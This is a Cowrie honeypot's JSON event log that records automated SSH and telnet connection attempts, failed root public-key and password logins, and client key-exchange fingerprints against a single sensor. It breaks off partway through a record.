{"eventid":"cowrie.session.closed","duration":35.92352104187012,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:09.047265Z","src_ip":"192.119.13.58","session":"fde24fe71358","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.04291772842407,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:13.724206Z","src_ip":"192.119.13.58","session":"f761dfcb15cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38482,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d4a89bf3b89","protocol":"ssh","message":"New connection: 193.32.162.145:38482 (10.17.0.5:22) [session: 1d4a89bf3b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:14.028413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:14.033447Z","src_ip":"193.32.162.145","session":"1d4a89bf3b89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:14.138630Z","src_ip":"193.32.162.145","session":"1d4a89bf3b89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"bot","message":"login attempt [sol/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:14.530478Z","src_ip":"193.32.162.145","session":"1d4a89bf3b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:15.638709Z","src_ip":"193.32.162.145","session":"1d4a89bf3b89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56736,"dst_ip":"10.17.0.5","dst_port":23,"session":"a97b4276263e","protocol":"telnet","message":"New connection: 192.119.13.58:56736 (10.17.0.5:23) [session: a97b4276263e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:15.957199Z"}
{"eventid":"cowrie.session.closed","duration":40.06846642494202,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:18.155620Z","src_ip":"192.119.13.58","session":"ac6e33663fc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.4934422969818115,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:18.450621Z","src_ip":"192.119.13.58","session":"a97b4276263e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.64612698554993,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:22.698830Z","src_ip":"192.119.13.58","session":"95802ac6cef6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36336,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1334bd68369","protocol":"telnet","message":"New connection: 192.119.13.58:36336 (10.17.0.5:23) [session: e1334bd68369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:31.319082Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37938,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba3e82df40f3","protocol":"telnet","message":"New connection: 192.119.13.58:37938 (10.17.0.5:23) [session: ba3e82df40f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:31.751956Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40130,"dst_ip":"10.17.0.5","dst_port":23,"session":"7df2abfa3829","protocol":"telnet","message":"New connection: 192.119.13.58:40130 (10.17.0.5:23) [session: 7df2abfa3829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:32.310697Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.5.244","src_port":53866,"dst_ip":"10.17.0.5","dst_port":22,"session":"296ab67b7b44","protocol":"ssh","message":"New connection: 65.60.5.244:53866 (10.17.0.5:22) [session: 296ab67b7b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:33.622147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:33.631844Z","src_ip":"65.60.5.244","session":"296ab67b7b44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:33.660974Z","src_ip":"65.60.5.244","session":"296ab67b7b44","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:17:17:02:c0:9e:3d:95:9d:08:df:b3:1f:bc:ea:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClJKtKIHLx6Eqxup2Q04N7xtswLRWv0iecE/6PfG38JDHD6dxUtkLGE9u4xenNJ4wc2Bao4TBMwsgDp87IcA42N6Cm3sX0LEay60YGsQcRpikUTs7/bcvMCr80TiDZ3vLircjuXpBYzVMyBUxDLSAVlbBXcAhWnGk2ihGUh17kOHBQ+dfJxvQ0Vo5gLeffFFoIRztoSljqYM+mmaw6uC2UvJ86kTOzs00xj/ebBNULgSRng8g8RhBLEOUMNvRCcJzt5wv0Y4wAgtKyAESIih+wUIqW6JwhGdN7lyL8J7InzNl9J8FDM7SW5UxLtKSwRhggpbdgjWuJ31GWMVAw3Xu3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:17:17:02:c0:9e:3d:95:9d:08:df:b3:1f:bc:ea:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:33.782743Z","src_ip":"65.60.5.244","session":"296ab67b7b44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:17:17:02:c0:9e:3d:95:9d:08:df:b3:1f:bc:ea:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClJKtKIHLx6Eqxup2Q04N7xtswLRWv0iecE/6PfG38JDHD6dxUtkLGE9u4xenNJ4wc2Bao4TBMwsgDp87IcA42N6Cm3sX0LEay60YGsQcRpikUTs7/bcvMCr80TiDZ3vLircjuXpBYzVMyBUxDLSAVlbBXcAhWnGk2ihGUh17kOHBQ+dfJxvQ0Vo5gLeffFFoIRztoSljqYM+mmaw6uC2UvJ86kTOzs00xj/ebBNULgSRng8g8RhBLEOUMNvRCcJzt5wv0Y4wAgtKyAESIih+wUIqW6JwhGdN7lyL8J7InzNl9J8FDM7SW5UxLtKSwRhggpbdgjWuJ31GWMVAw3Xu3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:33.786688Z","src_ip":"65.60.5.244","session":"296ab67b7b44","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:ee:10:79:5e:33:ca:01:90:fa:24:1a:3c:0a:b5:2e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO3nyOy770ubW9ZkOw9Y9IGI1itTZqtrNrCRtwO+F19K","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c3:ee:10:79:5e:33:ca:01:90:fa:24:1a:3c:0a:b5:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:33.816627Z","src_ip":"65.60.5.244","session":"296ab67b7b44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:ee:10:79:5e:33:ca:01:90:fa:24:1a:3c:0a:b5:2e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO3nyOy770ubW9ZkOw9Y9IGI1itTZqtrNrCRtwO+F19K","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:33.820302Z","src_ip":"65.60.5.244","session":"296ab67b7b44","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:dd:a3:cf:7b:69:f9:95:61:0f:8a:30:c4:19:52:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjjmzKPL0FY2xD5iMVZ5UgmolorSFrt6I9ISk8BIbXots0KiYGwpayK17EisXSoBeE2u02HUwYuT9hnCtYzqPigslJWCCXnAv/O0g570JyUJ433dDG2n3w/UGyC2yHnOY5eBFmgJH793irT1iihPOSTnnPNy73XA73tGN3XeuYgBP04U/77abob8wQj06R8+366vJxaEhamsz/ux/py+bOBZTvwuIvy33tSgV2k2vhRUGbRYBrcfC/yoniv//AMI8vejQhq1eDTmHUPZGMAItYaUvkMedc1iREOCwoasF42UqiK026UmOThKcvMVBTR8tWhBkR0jLdrOWBHEH9UIaZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:dd:a3:cf:7b:69:f9:95:61:0f:8a:30:c4:19:52:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:33.852702Z","src_ip":"65.60.5.244","session":"296ab67b7b44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:dd:a3:cf:7b:69:f9:95:61:0f:8a:30:c4:19:52:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjjmzKPL0FY2xD5iMVZ5UgmolorSFrt6I9ISk8BIbXots0KiYGwpayK17EisXSoBeE2u02HUwYuT9hnCtYzqPigslJWCCXnAv/O0g570JyUJ433dDG2n3w/UGyC2yHnOY5eBFmgJH793irT1iihPOSTnnPNy73XA73tGN3XeuYgBP04U/77abob8wQj06R8+366vJxaEhamsz/ux/py+bOBZTvwuIvy33tSgV2k2vhRUGbRYBrcfC/yoniv//AMI8vejQhq1eDTmHUPZGMAItYaUvkMedc1iREOCwoasF42UqiK026UmOThKcvMVBTR8tWhBkR0jLdrOWBHEH9UIaZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:33.856384Z","src_ip":"65.60.5.244","session":"296ab67b7b44","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:c7:24:98:64:51:a7:3c:32:8f:2f:d8:16:74:24:e0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINxT++S+CSM90yefcQgLYf93MCz+5ll39OUcfOVWG0UP","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 05:c7:24:98:64:51:a7:3c:32:8f:2f:d8:16:74:24:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:33.901528Z","src_ip":"65.60.5.244","session":"296ab67b7b44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:c7:24:98:64:51:a7:3c:32:8f:2f:d8:16:74:24:e0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINxT++S+CSM90yefcQgLYf93MCz+5ll39OUcfOVWG0UP","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:33.905091Z","src_ip":"65.60.5.244","session":"296ab67b7b44","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:f9:91:b9:7d:cf:0b:20:9c:d0:e4:bb:ae:04:a7:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxYFl1+fHf8mUREXVqob0T+ekGdkbjcGv8gVV6qEGccOF8vSRNBHLzDCZd6E3MeM8fRB4XXtAazzOUl22Nr9MpUNOR4pgUBAEtSJfJGnF2JL4xSvE/kL8gqd540GDdJ7w6+82w6QBE8Dd+yfGfDowfz7YPdoPxcIcOUn9qj4M47bWWhiVOU4vIXcsKBVzBiCFvRx9uItnbrIp1B/Wb7sYvqCytbgqpJASiwtFwPJZefaBu7VFddTIVxfEy6DFBF22VqCl80xDC0dj0EfL42kUg4etPYLrzf53x6npl2mzwZgHNogi2Ruv3CsHOtfJ1hhizI89wCShN4xiu2fnguj+F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:f9:91:b9:7d:cf:0b:20:9c:d0:e4:bb:ae:04:a7:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:33.935068Z","src_ip":"65.60.5.244","session":"296ab67b7b44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:f9:91:b9:7d:cf:0b:20:9c:d0:e4:bb:ae:04:a7:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxYFl1+fHf8mUREXVqob0T+ekGdkbjcGv8gVV6qEGccOF8vSRNBHLzDCZd6E3MeM8fRB4XXtAazzOUl22Nr9MpUNOR4pgUBAEtSJfJGnF2JL4xSvE/kL8gqd540GDdJ7w6+82w6QBE8Dd+yfGfDowfz7YPdoPxcIcOUn9qj4M47bWWhiVOU4vIXcsKBVzBiCFvRx9uItnbrIp1B/Wb7sYvqCytbgqpJASiwtFwPJZefaBu7VFddTIVxfEy6DFBF22VqCl80xDC0dj0EfL42kUg4etPYLrzf53x6npl2mzwZgHNogi2Ruv3CsHOtfJ1hhizI89wCShN4xiu2fnguj+F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:33.939139Z","src_ip":"65.60.5.244","session":"296ab67b7b44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:33.975840Z","src_ip":"65.60.5.244","session":"296ab67b7b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49182,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbb3281e5f89","protocol":"telnet","message":"New connection: 192.119.13.58:49182 (10.17.0.5:23) [session: dbb3281e5f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:34.417381Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52458,"dst_ip":"10.17.0.5","dst_port":23,"session":"46f16414c333","protocol":"telnet","message":"New connection: 192.119.13.58:52458 (10.17.0.5:23) [session: 46f16414c333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:35.183451Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49704,"dst_ip":"10.17.0.5","dst_port":23,"session":"4df28c983ab5","protocol":"telnet","message":"New connection: 192.119.13.58:49704 (10.17.0.5:23) [session: 4df28c983ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:41.310118Z"}
{"eventid":"cowrie.session.closed","duration":43.79814171791077,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:45.727363Z","src_ip":"192.119.13.58","session":"411583bd6040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44656,"dst_ip":"10.17.0.5","dst_port":23,"session":"00bd2fbce160","protocol":"telnet","message":"New connection: 192.119.13.58:44656 (10.17.0.5:23) [session: 00bd2fbce160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:46.756126Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60802,"dst_ip":"10.17.0.5","dst_port":23,"session":"90f61e0872b9","protocol":"telnet","message":"New connection: 192.119.13.58:60802 (10.17.0.5:23) [session: 90f61e0872b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:50.547957Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43768,"dst_ip":"10.17.0.5","dst_port":23,"session":"17d9e74c9812","protocol":"telnet","message":"New connection: 192.119.13.58:43768 (10.17.0.5:23) [session: 17d9e74c9812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:53.447708Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35116,"dst_ip":"10.17.0.5","dst_port":23,"session":"b66cc58b62d8","protocol":"telnet","message":"New connection: 192.119.13.58:35116 (10.17.0.5:23) [session: b66cc58b62d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:57.988202Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41714,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d63b6f01fad","protocol":"telnet","message":"New connection: 192.119.13.58:41714 (10.17.0.5:23) [session: 8d63b6f01fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:51:59.559505Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45624,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0da65748580","protocol":"telnet","message":"New connection: 192.119.13.58:45624 (10.17.0.5:23) [session: a0da65748580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:07.290844Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58246,"dst_ip":"10.17.0.5","dst_port":23,"session":"190ac32d8138","protocol":"telnet","message":"New connection: 192.119.13.58:58246 (10.17.0.5:23) [session: 190ac32d8138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:10.492136Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58576,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ee16b051064","protocol":"telnet","message":"New connection: 192.119.13.58:58576 (10.17.0.5:23) [session: 3ee16b051064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:10.587762Z"}
{"eventid":"cowrie.session.closed","duration":38.95461392402649,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:10.706452Z","src_ip":"192.119.13.58","session":"ba3e82df40f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40864,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bb17818ae60","protocol":"telnet","message":"New connection: 192.119.13.58:40864 (10.17.0.5:23) [session: 3bb17818ae60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:13.251350Z"}
{"eventid":"cowrie.session.closed","duration":39.81973743438721,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:15.003045Z","src_ip":"192.119.13.58","session":"46f16414c333","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54738,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aab30292a0b","protocol":"telnet","message":"New connection: 192.119.13.58:54738 (10.17.0.5:23) [session: 8aab30292a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:16.809922Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58020,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7aebd38b102","protocol":"telnet","message":"New connection: 192.119.13.58:58020 (10.17.0.5:23) [session: c7aebd38b102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:18.739102Z"}
{"eventid":"cowrie.session.closed","duration":46.933565855026245,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:19.244061Z","src_ip":"192.119.13.58","session":"7df2abfa3829","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41904,"dst_ip":"10.17.0.5","dst_port":23,"session":"48c50dcb9d88","protocol":"telnet","message":"New connection: 192.119.13.58:41904 (10.17.0.5:23) [session: 48c50dcb9d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:20.583354Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38290,"dst_ip":"10.17.0.5","dst_port":23,"session":"715848704260","protocol":"telnet","message":"New connection: 192.119.13.58:38290 (10.17.0.5:23) [session: 715848704260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:20.850430Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":33574,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3505dd89f10","protocol":"ssh","message":"New connection: 45.78.204.254:33574 (10.17.0.5:22) [session: a3505dd89f10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:21.167001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:21.171510Z","src_ip":"45.78.204.254","session":"a3505dd89f10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sh